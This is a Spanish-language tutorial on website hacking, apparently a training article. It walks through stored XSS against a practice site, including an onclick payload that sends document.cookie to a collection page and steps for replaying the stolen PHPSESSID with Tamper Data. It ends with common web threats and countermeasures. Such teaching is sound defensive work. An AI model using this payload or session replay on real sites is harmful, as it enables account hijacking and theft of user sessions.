¿Cómo hackear un sitio web? Técnicas de hackeo de sitios web

Más personas que nunca tienen acceso a Internet. Esto ha llevado a muchas organizaciones a desarrollar aplicaciones basadas en web que los usuarios pueden utilizar en línea para interactuar con la organización. El código mal escrito para aplicaciones web puede explotarse para obtener acceso no autorizado a datos confidenciales y servidores web.

Aprenderás las técnicas más comunes para piratear sitios web y las contramedidas que protegen contra este tipo de ataques.

Cómo hackear un sitio web

En este escenario práctico de piratería de sitios web, vamos a secuestrar la sesión de usuario de la aplicación web ubicada en www.techpanda.orgUtilizaremos la técnica de secuencias de comandos entre sitios (XSS) para leer el ID de sesión de la cookie y, a continuación, lo usaremos para suplantar la identidad de una sesión de usuario legítima.

Se parte de la premisa de que el atacante tiene acceso a la aplicación web y desea secuestrar las sesiones de otros usuarios que utilizan la misma aplicación. El objetivo de este ataque podría ser obtener acceso de administrador a la aplicación web, suponiendo que la cuenta de acceso del atacante sea restringida.

Paso 1) Abrir URL http://www.techpanda.org/.

Para fines prácticos, se recomienda encarecidamente obtener acceso mediante inyección SQL. Consulte Este artículo trata sobre la inyección SQL. para obtener más información sobre cómo hacerlo.

Paso 2) Introduzca sus datos de inicio de sesión.

El correo electrónico de inicio de sesión es admin@google.com y la contraseña es Password2010.

Paso 3) Consulta el panel de control.

Si ha iniciado sesión correctamente, verá el siguiente panel de control.

Paso 4) Introduzca contenido nuevo.

Haz clic en Agregar nuevo contacto e introduce el siguiente nombre:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Paso 5) Agregar JavaGuión.

El código anterior utiliza JavaScript. Agrega un hipervínculo con un evento onclick. Cuando el usuario desprevenido hace clic en el enlace, el evento recupera el ID de sesión de cookie PHP y lo envía a la página snatch_sess_id.php junto con el ID de sesión en el URL.

Paso 6) Añadir detalles.

Introduzca los datos restantes como se muestra a continuación y haga clic en Guardar cambios.

Paso 7) Consulta el panel de control.

Su panel de control ahora se verá como en la siguiente pantalla.

Paso 8) Compruebe el ID de sesión.

Dado que el script entre sitios está almacenado en la base de datos, se carga cada vez que los usuarios con derechos de acceso inician sesión. Cuando el administrador inicia sesión y hace clic en el hipervínculo que dice Dark, obtiene una ventana con el ID de sesión que se muestra en el URL.

Nota: el script podría enviar el valor a un servidor remoto donde se almacena el PHPSESSID y luego redirigir al usuario como si nada hubiera pasado.

Nota: el valor que obtenga puede ser diferente al que se muestra aquí, pero el concepto es el mismo.

Suplantación de sesión usando Firefox y complemento Tamper Data

Nota: el complemento clásico Tamper Data que se muestra a continuación ya no se instala en la versión actual. FirefoxPero el concepto que ilustra —interceptar y modificar una solicitud HTTP para reproducir una sesión capturada— permanece inalterado.

El siguiente diagrama de flujo muestra los pasos que debe seguir para completar este ejercicio.

• Necesitará la Firefox Navegador web para esta sección y el complemento Tamper Data.
• Abra Firefox e instale el complemento como se muestra en los diagramas a continuación.

• Busque los datos de manipulación y, a continuación, haga clic en instalar, como se muestra arriba.

• Haga clic en Aceptar e instalar…

• Haz clic en Reiniciar ahora cuando finalice la instalación.
• Habilite la barra de menú en Firefox si no se muestra.

• Haz clic en el menú Herramientas y, a continuación, selecciona Proteger datos, como se muestra a continuación.

• Aparecerá la siguiente ventana. Nota: Si la ventana no está vacía, pulse el botón de borrar.

• Haz clic en el menú Iniciar manipulación.
• Vuelva a la Firefox En el navegador web, escriba http://www.techpanda.org/dashboard.php y, a continuación, pulse la tecla Enter para cargar la página.
• Recibirás la siguiente ventana emergente de Tamper Data.

• La ventana emergente tiene tres (3) opciones. La opción Tamper le permite modificar la información del encabezado HTTP antes de que se envíe al servidor.
• Haz click en eso.
• Obtendrás la siguiente ventana.

• Copia el ID de sesión PHP que copiaste del ataque. URL y pégalo después del signo igual. Tu valor ahora debería verse así.

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Haga clic en el botón Aceptar.
• Volverá a aparecer la ventana emergente de Manipulación de datos.

• Desmarque la casilla de verificación que pregunta ¿Continuar manipulando?
• Haz clic en el botón de enviar cuando hayas terminado.
• Debería poder ver el panel de control como se muestra a continuación.

Nota: no iniciamos sesión; suplantamos una sesión de inicio de sesión utilizando el valor PHPSESSID que obtuvimos mediante secuencias de comandos entre sitios.

¿Qué es una aplicación web? ¿Qué son las amenazas web?

Una aplicación web (también conocida como sitio web) es una aplicación basada en el modelo cliente-servidor. El servidor proporciona el acceso a la base de datos y la lógica de negocio. Está alojada en un servidor web. La aplicación cliente se ejecuta en el navegador web del cliente. Las aplicaciones web suelen estar escritas en lenguajes como Java, C#, VB.Net, PHPy ColdFusion Markup Language, etc. Los motores de bases de datos utilizados en las aplicaciones web incluyen: MySQL, Servidor MS SQL, PostgreSQL, SQLite, etc.

Principales técnicas de piratería de sitios web

La mayoría de las aplicaciones web están alojadas en servidores públicos. servidores Accesibles a través de Internet. Esto las hace vulnerables a ataques debido a su fácil acceso. A continuación, se presentan algunas amenazas comunes para las aplicaciones web.

• SQL Injection – el objetivo de esta amenaza podría ser eludir los algoritmos de inicio de sesión, sabotear los datos, etc.
• Denegación de servicio ataques – El objetivo de esta amenaza podría ser denegar el acceso al recurso a los usuarios legítimos.
• Secuencias de comandos entre sitios (XSS) – El objetivo de esta amenaza podría ser inyectar código que pueda ejecutarse en el navegador del cliente.
• Intoxicación por cookies/sesiones – El objetivo de esta amenaza es modificar las cookies/datos de sesión por parte de un atacante para obtener acceso no autorizado.
• Manipulación de formularios – El objetivo de esta amenaza es modificar datos de formularios, como los precios, en aplicaciones de comercio electrónico para que el atacante pueda obtener artículos a precios reducidos.
• Code Inyección – el objetivo de esta amenaza es inyectar código como PHP, Python, etc. que se pueden ejecutar en el servidor. El código puede instalar puertas traseras, revelar información confidencial, etc.
• Desfiguración – El objetivo de esta amenaza es modificar la página que se muestra en un sitio web y redirigir todas las solicitudes de página a una única página que contiene el mensaje del atacante.

¿Cómo proteger su sitio web contra hacks?

Una organización puede adoptar la siguiente política para protegerse contra ataques al servidor web.

• SQL Injection – sanitizar y validar los parámetros del usuario antes de enviarlos a la base de datos para su procesamiento puede ayudar a reducir las posibilidades de ser atacado mediante inyección SQL. Motores de bases de datos como MS SQL Server, MySQL, etc. admiten parámetros y sentencias preparadas. Son mucho más seguras que las sentencias SQL tradicionales.
• Ataques de denegación de servicio Los cortafuegos pueden utilizarse para bloquear el tráfico procedente de direcciones IP sospechosas si el ataque es un simple ataque de denegación de servicio (DoS). Una configuración adecuada de las redes y un sistema de detección de intrusiones también pueden ayudar a reducir las probabilidades de éxito de un ataque DoS.
• Cross-site scripting – validar y sanitizar encabezados, parámetros pasados ​​a través de la URLLos parámetros de formulario y los valores ocultos pueden ayudar a reducir los ataques XSS.
• Intoxicación por cookies/sesiones Esto se puede evitar cifrando el contenido de las cookies, haciendo que caduquen después de un tiempo y asociándolas con la dirección IP del cliente que se utilizó para crearlas.
• Manipulación de formularios Esto se puede evitar validando y verificando la información ingresada por el usuario antes de procesarla.
• Code Inyección Esto se puede evitar tratando todos los parámetros como datos en lugar de código ejecutable. Para ello, se pueden utilizar técnicas de saneamiento y validación.
• Desfiguración – un buen seguridad de aplicaciones web La política debe garantizar que selle las vulnerabilidades comúnmente utilizadas para acceder al servidor web. Esto puede ser una configuración adecuada del sistema operativo, el software del servidor web y las mejores prácticas de seguridad al desarrollar.ping aplicaciones web.

Mira esto: 9 Mejores URL Escáneres para comprobar si un enlace está libre de malware.

Preguntas Frecuentes